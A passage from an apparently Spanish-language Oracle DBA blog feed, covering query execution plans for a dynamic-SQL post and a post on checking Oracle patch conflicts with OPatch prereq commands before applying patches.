| &amp;nbsp; 4 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 3 - access("E"."EMPNO"=:EMPNO)
&amp;nbsp;&amp;nbsp; 5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;2. Se proporciona solamente &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE mgr = :mgr

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 3 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; (0)|
| &amp;nbsp; 2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;3 | &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| EMP_MGR | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
| &amp;nbsp; 4 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 3 - access("E"."MGR"=:MGR)
&amp;nbsp;&amp;nbsp; 5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;3. Se proporciona tanto &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; como &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = :empno
&amp;nbsp;&amp;nbsp;AND e.mgr = :mgr

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;3 | &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp; 4 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 2 - filter("E"."MGR"=:MGR)
&amp;nbsp;&amp;nbsp; 3 - access("E"."EMPNO"=:EMPNO)
&amp;nbsp;&amp;nbsp; 5 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;4. No se proporciona &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; ni &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 6 (100)|
| &amp;nbsp; 1 | &amp;nbsp;MERGE JOIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; 336 | &amp;nbsp; &amp;nbsp; 6 &amp;nbsp;(17)|
| &amp;nbsp; 2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
| &amp;nbsp; 3 | &amp;nbsp; &amp;nbsp;INDEX FULL SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; SORT JOIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; 154 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp;(25)|
| &amp;nbsp; 5 | &amp;nbsp; &amp;nbsp;TABLE ACCESS FULL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; 154 | &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 4 - access("E"."DEPTNO"="D"."DEPTNO")
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; filter("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Para cada una de las combinaciones mostradas, el &lt;b&gt;Optimizador&lt;/b&gt; ha estado en la capacidad de determinar un plan de ejecución eficiente.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusiones&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Quizás parte del razonamiento en este caso incluyó la consideración de que más vale tener una sentencia que varias y así evitar saturar el &lt;b&gt;&lt;i&gt;Shared Pool&lt;/i&gt;&lt;/b&gt;, pero en tanto &lt;b&gt;Oracle&lt;/b&gt; permite sentencias &lt;b&gt;SQL&lt;/b&gt; estáticas y dinámicas, debemos usar estas últimas cuando no sabemos con anticipación lo que el usuario final desea filtrar, no importa tanto que se generen múltiples sentencias. Los "artificios" permiten crear una sola sentencia pero aún cuando el &lt;b&gt;Optimizador&lt;/b&gt; haga su mejor esfuerzo, los planes de ejecución obtenidos serán sub-óptimos para la mayor parte de los casos, por tanto &lt;b&gt;es preferible&lt;/b&gt; invertir algo más de tiempo y &lt;b&gt;codificar una sentencia dinámica&lt;/b&gt; que nos da la garantía de planes de ejecución eficientes para cada caso.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/01/sql-dinamico-application-context.html"&gt;¿Query dinámico?, pero sin perder de vista el contexto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/cursor-sharing-histograms-y-bind.html"&gt;Cursor sharing, histograms y bind peeking, lo que deberías saber para evitar sorpresas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/dbms-shared-pool-purge.html"&gt;¿Cómo deshacernos de un cursor en el Shared Pool?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/01/poor-man-dynamic-sql.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqe197uHPum9W5EJVrlALJlN9d7tGSiFoU0MtW63XH3luIEop0BplGVvBay8L2M72tk22gSsBlo5dhFatOka91WzCyqPIGNUiEOS363VEMJV4dChfoionh1ku_4uRpZzi0pFqe-Q2uA2__/s72-c" width="72"/><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-3982427474500994279</guid><pubDate>Sun, 11 Jan 2009 02:45:00 +0000</pubDate><atom:updated>2009-09-02T11:22:33.918-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Inventory</category><category domain="http://www.blogger.com/atom/ns#">patching</category><title>¿Vas a aplicar un patch?, verifica posibles conflictos</title><description>&lt;div&gt;De cuando en cuando nos topamos con algún problema que afecta el normal desempeño de la base de datos, o quizás de alguna aplicación, y luego de investigar llegamos a la conclusión de que es inevitable aplicar uno o varios &lt;b&gt;&lt;i&gt;patches&lt;/i&gt;&lt;/b&gt;, pero habrán notado que en el &lt;i&gt;README.txt&lt;/i&gt; que acompaña a todo &lt;i&gt;patch&lt;/i&gt; se indica:&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;"You must have NO OTHER PATCHES installed on your Oracle Server since the latest patch set"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;Esta advertencia hará dudar a algunos y habrá quienes harán caso omiso al mismo, siendo cuestión de suerte que todo salga bien, pero afortunadamente es posible determinar con anticipación si los &lt;i&gt;patches&lt;/i&gt; por aplicar entran en conflicto entre ellos o con &lt;i&gt;patches&lt;/i&gt; previamente aplicados, lo cual nos ahorrará muchos dolores de cabeza.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Patching "a lo macho"&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Tenemos plena confianza en que todo saldrá bien y aplicamos el &lt;i&gt;patch&lt;/i&gt; sin pensarlo mucho y cruzando los dedos, a veces se aplicará sin problemas, otras veces fallará, como en este caso en el que deseamos aplicar el patch &lt;b&gt;4459936&lt;/b&gt; &lt;b&gt;&lt;i&gt;FGA doesn't work correctly with ansi outer joins in 10g&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope 4459936]$ opatch apply
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.


Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-11-38AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

ApplySession applying interim patch '4459936' to OH '/u01/app/oracle/product/10.2.0/db_1'
Interim Patch 4459936 has Conflict with patch(es) [ &amp;nbsp;6996030 ] in OH /u01/app/oracle/product/10.2.0/db_1

&lt;span style="color: red;"&gt;Conflict patches: &amp;nbsp; 6996030

Patch(es) &amp;nbsp;6996030 conflict with the patch currently being installed (4459936).&lt;/span&gt;

If you continue, patch(es) &amp;nbsp;6996030 will be rolled back and the new patch (4459936) will be installed.

If a merge of the new patch (4459936) and the conflicting patch(es) ( 6996030) is required, contact Oracle Support Services and request a Merged patch.

Do you want to proceed? [y|n]&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pues ocurre que el nuevo &lt;i&gt;patch&lt;/i&gt; entra en &lt;b&gt;conflicto&lt;/b&gt; con el &lt;i&gt;patch&lt;/i&gt; &lt;b&gt;6996030&lt;/b&gt; &lt;b&gt;&lt;i&gt;Merge label request on top of 10.2.0.4 for audit trail clean-up&lt;/i&gt;&lt;/b&gt; y si deseamos aplicarlo entonces Oracle tendrá que desinstalar el ya existente, algo que usualmente no deseamos hacer, pero mientras tanto perdimos tiempo pues tuvimos que suspender el servicio y posiblemente trabajar en un horario fuera de lo normal.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Patching Planificado&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Afortunadamente es posible evitar esta situación si previamente verificamos que no existan conflictos, algo que se puede lograr de forma muy sencilla con &lt;b&gt;&lt;i&gt;OPatch&lt;/b&gt;&lt;/i&gt;, pero antes de ver cómo, primero veamos qué &lt;i&gt;patches&lt;/i&gt; ya tenemos instalados:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope 5099019]$ opatch lsinventory
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.


Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-45-36AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Lsinventory Output file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/lsinv/lsinventory2008-12-31_01-45-36AM.txt

--------------------------------------------------------------------------------
Installed Top-level Products (3):

Oracle Database 10g &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;10.2.0.1.0
Oracle Database 10g Products &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 3 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;10.2.0.4.0
There are 3 products installed in this Oracle Home.


Interim patches (2) :

Patch &amp;nbsp;5099019 &amp;nbsp; &amp;nbsp; &amp;nbsp;: applied on Wed Dec 31 01:42:18 PET 2008
&amp;nbsp;&amp;nbsp; Created on 1 Dec 2008, 08:03:06 hrs PST8PDT
&amp;nbsp;&amp;nbsp; Bugs fixed:
&amp;nbsp;&amp;nbsp; &amp;nbsp; 5099019

Patch &amp;nbsp;6996030 &amp;nbsp; &amp;nbsp; &amp;nbsp;: applied on Wed Sep 10 11:08:30 PET 2008
&amp;nbsp;&amp;nbsp; Created on 21 Oct 2008, 06:57:58 hrs PST8PDT
&amp;nbsp;&amp;nbsp; Bugs fixed:
&amp;nbsp;&amp;nbsp; &amp;nbsp; 6964283, 6940487, 4740049, 6996030, 6954407, 6023472, 4085593, 6340297
&amp;nbsp;&amp;nbsp; &amp;nbsp; 6655588, 6726958



--------------------------------------------------------------------------------

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Tenemos un par de &lt;i&gt;patches&lt;/i&gt; ya aplicados, el &lt;b&gt;5099019&lt;/b&gt; &lt;b&gt;&lt;i&gt;dbms_stats doesn't count leaf_blocks correctly&lt;/b&gt;&lt;/i&gt; y el &lt;b&gt;6996030&lt;/b&gt; &lt;b&gt;&lt;i&gt;Merge label request on top of 10.2.0.4 for audit trail clean-up&lt;/i&gt;&lt;/b&gt;, pero ahora queremos aplicar muchos más:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ ls /home/oracle/patches
4459936 &amp;nbsp;5586604 &amp;nbsp;6051177 &amp;nbsp;6084232 &amp;nbsp;6399168 &amp;nbsp;6894671 &amp;nbsp;6926448 &amp;nbsp;7123643 &amp;nbsp;7191744
7243560 &amp;nbsp;5523375 &amp;nbsp;5895190 &amp;nbsp;6055481 &amp;nbsp;6369463 &amp;nbsp;6678845 &amp;nbsp;6897966 &amp;nbsp;7025450 &amp;nbsp;7189722
7226463 &amp;nbsp;7331929&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora veamos si entre ellos existe algún conflicto:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ opatch prereq CheckConflictAmongPatchesWithDetail -phBaseDir /home/oracle/patches
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.

PREREQ session

Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-47-03AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictamongpatcheswithdetail"

Prereq "checkConflictAmongPatchesWithDetail" failed.

Summary of Conflict Analysis:

Patches that can be applied now without any conflicts are :
4459936, 5523375, 5586604, 5895190, 6051177, 6055481, 6084232, 6369463, 6399168, 6678845, 6894671, 6897966, 6926448, 7123643, 7189722, 7226463, 7243560, 7331929

&lt;span style="color: red;"&gt;Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
7025450, 7191744&lt;/span&gt;

Conflicts/Supersets for each patch are:

Patch : 7025450

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7191744
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

Patch : 7191744

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7025450
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;&lt;i&gt;OPatch&lt;/b&gt;&lt;/i&gt; nos notifica que existe un conflicto entre los &lt;i&gt;patches&lt;/i&gt; &lt;b&gt;7025450&lt;/b&gt; &lt;b&gt;&lt;i&gt;dbms_shared_pool.keep doesn't keep future child cursors&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;7191744&lt;/b&gt; &lt;b&gt;&lt;i&gt;update in wrong schema&lt;/b&gt;&lt;/i&gt;, pero ¿existirán conflictos adicionales con los &lt;i&gt;patches&lt;/i&gt; ya instalados? pues averigüémoslo:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ opatch prereq CheckConflictAgainstOHWithDetail -phBaseDir /home/oracle/patches/
Invoking OPatch 10.2.0.4.5

Oracle Interim Patch Installer version 10.2.0.4.5
Copyright (c) 2008, Oracle Corporation. &amp;nbsp;All rights reserved.

PREREQ session

Oracle Home &amp;nbsp; &amp;nbsp; &amp;nbsp; : /u01/app/oracle/product/10.2.0/db_1
Central Inventory : /u01/app/oracle/oraInventory
&amp;nbsp;&amp;nbsp; from &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : /etc/oraInst.loc
OPatch version &amp;nbsp; &amp;nbsp;: 10.2.0.4.5
OUI version &amp;nbsp; &amp;nbsp; &amp;nbsp; : 10.2.0.4.0
OUI location &amp;nbsp; &amp;nbsp; &amp;nbsp;: /u01/app/oracle/product/10.2.0/db_1/oui
Log file location : /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch2008-12-31_01-47-28AM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_1/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictagainstohwithdetail"

Prereq "checkConflictAgainstOHWithDetail" failed.

Summary of Conflict Analysis:

Patches that can be applied now without any conflicts are :
5523375, 5586604, 5895190, 6051177, 6055481, 6084232, 6369463, 6678845, 6894671, 6897966, 6926448, 7123643, 7189722, 7226463, 7243560, 7331929

&lt;span style="color: red;"&gt;Following patches have conflicts. Please contact Oracle Support and get the merged patch of the patches :
6996030, 4459936, 5099019, 6399168, 7025450, 7191744&lt;/span&gt;

Following patches will be rolled back from Oracle Home on application of the patches in the given list :
6996030, 5099019

Conflicts/Supersets for each patch are:

Patch : 4459936

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 6996030
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kzft.o

Patch : 6399168

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 5099019
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/rdbms/admin/prvtstat.plb

Patch : 7025450

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7191744
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

Patch : 7191744

&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Generic Conflict with 7025450
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Conflict details:
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/u01/app/oracle/product/10.2.0/db_1/lib/libserver10.a:/kks1.o

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
